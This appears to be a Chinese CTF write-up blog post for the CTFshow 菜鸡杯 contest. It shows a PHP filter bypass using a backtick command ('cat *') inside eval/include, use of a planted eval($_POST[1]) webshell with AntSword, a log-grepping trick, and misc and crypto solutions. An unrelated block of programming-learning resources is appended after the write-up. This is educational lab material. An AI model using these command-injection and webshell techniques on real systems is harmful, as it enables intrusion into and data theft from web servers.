CTFshow菜鸡杯WP

本文探讨了PHP安全中常见的命令执行漏洞,通过实例展示了如何利用特定构造的字符串绕过安全检查,执行任意命令。文章深入分析了eval()函数的危险性及如何利用其执行系统命令,同时提供了防御策略。

WEB

WEB1 签到

<?php
if(isset($_GET['url'])){
    switch (strtolower(substr($_GET['url'], 0,4))) {
        case 'file':
            echo 'file protocol do not allow';
            break;
        case 'php:':
            echo 'php protocol do not allow';
            break;
        case 'zlib':
            echo 'zlib protocol do not allow';
            break;
        case 'ftp:':
            echo 'zip protocol do not allow';
            break;
        case 'phar':
            echo 'phar protocol do not allow';
            break;
        case 'ssh2':
            echo 'ssh2 protocol do not allow';
            break;
        case 'data':
            echo 'data protocol do not allow';
            break;
        case 'rar:':
            echo 'rar protocol do not allow';
            break;
        case 'ogg:':
            echo 'ogg protocol do not allow';
            break;
        case 'expe':
            echo 'expe protocol do not allow';
            break;
        case 'http':
            echo 'http protocol do not allow';
            break;
        case 'glob':
            echo 'glob protocol do not allow';
            break;
        default:
            if(!preg_match('/php|flag|zlib|ftp|phar|data|rar|ogg|expe|http|glob|ssh2|\(|\)|\[|\]|[0-9]|\,|\<|\>|\?|\/|\\\|\{|\[|\}|\]|\=|\+|\-|\_|\;|\:|\'|\"/i', $_GET['url'])){
                eval("include ".$_GET['url'].";");
            }else{
                die('error');
            }
            break;
    }

}else{
    highlight_file(__FILE__);

}

可以看到过滤的巨全面,包括php,flag,?等一并被过滤了,但是页面会报错,我们就可以利用报错得到命令执行的返回信息。

构造:

`cat *`

Warning: include(<?php $flag="flag{simple_web_check_in}"; ?><?php if(isset($_GET['url'])){ switch (strtolower(substr($_GET['url'], 0,4))) { case 'file': echo 'file protocol do not allow'; break; case 'php:': echo 'php protocol do not allow'; break; case 'zlib': echo 'zlib protocol do not allow'; break; case 'ftp:': echo 'zip protocol do not allow'; break; case 'phar': echo 'phar protocol do not allow'; break; case 'ssh2': echo 'ssh2 protocol do not allow'; break; case 'data': echo 'data protocol do not allow'; break; case 'rar:': echo 'rar protocol do not allow'; break; case 'ogg:': echo 'ogg protocol do not allow'; break; case 'expe': echo 'expe protocol do not allow'; break; case 'http': echo 'http protocol do not allow'; break; case 'glob': echo 'glob protocol do not allow'; break; default: if(!preg_match('/php|flag|zlib|ftp|phar|data|rar|ogg|expe|htt in /var/www/html/index.php(42) : eval()'d code on line 1
flag{simple_web_check_in}

这里总结一下:

linux shell是跟系统打交道的最基本的界面,接收输入并进行解析的程序就是shell。
shell 里面可以执行 php。php 程序也可以执行外部命令,一般来说,系统可以没有 php,然不能没有 shell。

例如:

echo exec('whoami');
这里调用了外部shell的命令。

对于`ls` ,PHP代码同样首先进行命令执行,获取shell返回的信息,并把这些信息当作include的参数。
当`ls`通过了过滤,被shell执行,却返回一堆文本信息,include不能进行包含当然会报错,本题就利用了这点。

WEB2 摇号入园

在这里插入图片描述

namespace think;

// 加载基础文件
require __DIR__ . '/thinkphp/base.php';

// 支持事先使用静态方法设置Request对象和Config对象

// 执行应用并响应
Container::get('app')->run()->send();
eval($_POST[1]);

这道题看到传递参数1,直接作为连接密码连接蚁剑就好了

题目提示:后台邮箱找答案。应该是提醒数据库

因为thinkPHP的runtime日志泄露问题(听说的,查不到太多资料,应该是只和thinkPHP有关,自己的云上这个位置没有),直接查找字符串。

strings 22.log | grep "flag{"
flag{ctf_show_boy}

听说可以连接数据库,不知道怎么搞。

misc

猎兔

hint:兔兔数列,暗示的应该是斐波那契数列,怀疑与某些数据的排列有关。

一张图片,用隐写工具打开,发现在红绿0通道时有隐写痕迹

多次尝试,在绿色0通道、列扫描、最低有效位时有规律

fladg\= {ThY5F0(V   //开头
012 4   8

01248对应对应 flag{ ,恰好112480为斐波那契的规律

写exp:

string=''
with open('1.bin', 'r') as f:
    string = f.read()

a=b=1
for i in range(0,100):
    c=a+b
    a=b
    b=c
    print(string[a-1],end='')
flag{FiboniZ?GwT)08[%CoE

显然不对,考虑到stegsolve数据读取可能跟文件头部信息有关,猜想宽高不对,

跑crc32宽高爆破脚本后

00 00 05 8F 00 00 03 8E      //原本的
00 00 05 8F 00 00 03 5E		 //脚本跑出的

修改后,再次导出bin文件,跑exp

flag{Fibonacci_sequence}

差一点

在这里插入图片描述

查资料后知道是jsfuck,将其拖到控制台,去掉()即可得到它代表的代码

anonymous(
) {
if(1===2){console.log('flag{u_r_v3ry_g00d}');}
}

大佬分享了去括号的原因

在这里插入图片描述

附上加密过程:https://blog.youkuaiyun.com/qq_36539075/article/details/102463521?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-1.channel_param&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-1.channel_param

Crypto

天仙金丹心法

○ 须要:次想把常面知本用都部道文哈是用已本连希无来比净题续即用凑如妙道密进可的字真法在海码行:○ 数灭自屎凡器只三后全而神然溺鼎归心

可以看出来这是人能看懂的文字

○ 须
要:次
想把常面
知本用都部
道文哈是用已
本连希无来比净
题续即用凑如妙道
密进可的字真法在海
码行:○ 数灭自屎凡器
只三后全而神然溺鼎归心

经过排列,算是个变种的凯撒吧,也不写脚本了,直接竖着读

提示将文本MD5三次,

在网络工具中跑

1:a7e78b36c27c47ee19d2bf17fb474806
2:322951f142d8091c232ddb4183b84187
3:67c46c4eabd37bb422910e9b400980fd

flag{67c46c4eabd37bb422910e9b400980fd}

完全打不动瑞泽五先生和胖先生,开学先搞搞汇编吧。
等一手官方WP,再作后续总结。

### 编程入门与IT基础学习资源 #### 计算机硬件、软件及网络基础 信息技术(IT)涵盖了多个领域,其中包括计算机硬件、软件以及网络基础。对于初学者而言,理解这些核心概念至关重要。计算机硬件涉及处理器、内存、存储设备等物理组件;而软件则指操作系统、应用程序和服务程序。至于网络基础,则主要探讨数据传输协议、IP地址分配等内容[^1]。 #### 零基础编程学习路径 针对完全没有经验的新手,可以从以下几个方面入手: - **掌握基本概念**:熟悉诸如变量、函数、数组这样的基础构建模块,并尝试编写简单的脚本来巩固所学知识点。 - **实践操作**:参与实际项目的开发过程非常重要。可以通过复制现有优秀作品来提高技能水平,同时也可以寻找适合新手的小型项目进行独立完成。 - **分享传播知识**:当能够清晰表达某个主题时,往往意味着对该领域的深入理解和熟练运用。因此,撰写技术博客或录制教学视频也是一种有效的复习手段[^3]。 #### 推荐书籍清单 为了更系统化地获取专业知识,《大学学习计算机基础必读 5 本经典入门书籍》提供了很好的指导方向。尽管像《TCP/IP 卷一》这样较为晦涩难懂的作品可能存在一定难度,但对于希望进一步探索高级话题的人来说仍然是不可多得的好书[^4]。 以下是几个具体推荐选项供参考: 1. Python Crash Course, Eric Matthes – 这本书籍非常适合刚开始接触编码的人群,它采用循序渐进的方法教授Python语言的核心特性及其应用实例; 2. Automate the Boring Stuff with Python, Al Sweigart – 主要关注利用自动化工具简化日常任务处理流程的实际案例分析; 3. Introduction to Computation and Programming Using Python, John V Guttag – 结合计算思维训练介绍如何使用Python解决问题的过程描述。 ```python # 示例代码展示简单加法运算功能实现方式如下所示: def add_numbers(a, b): """返回两个数相加之和""" result = a + b return result print(add_numbers(5 ,7)) # 输出结果应为12 ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值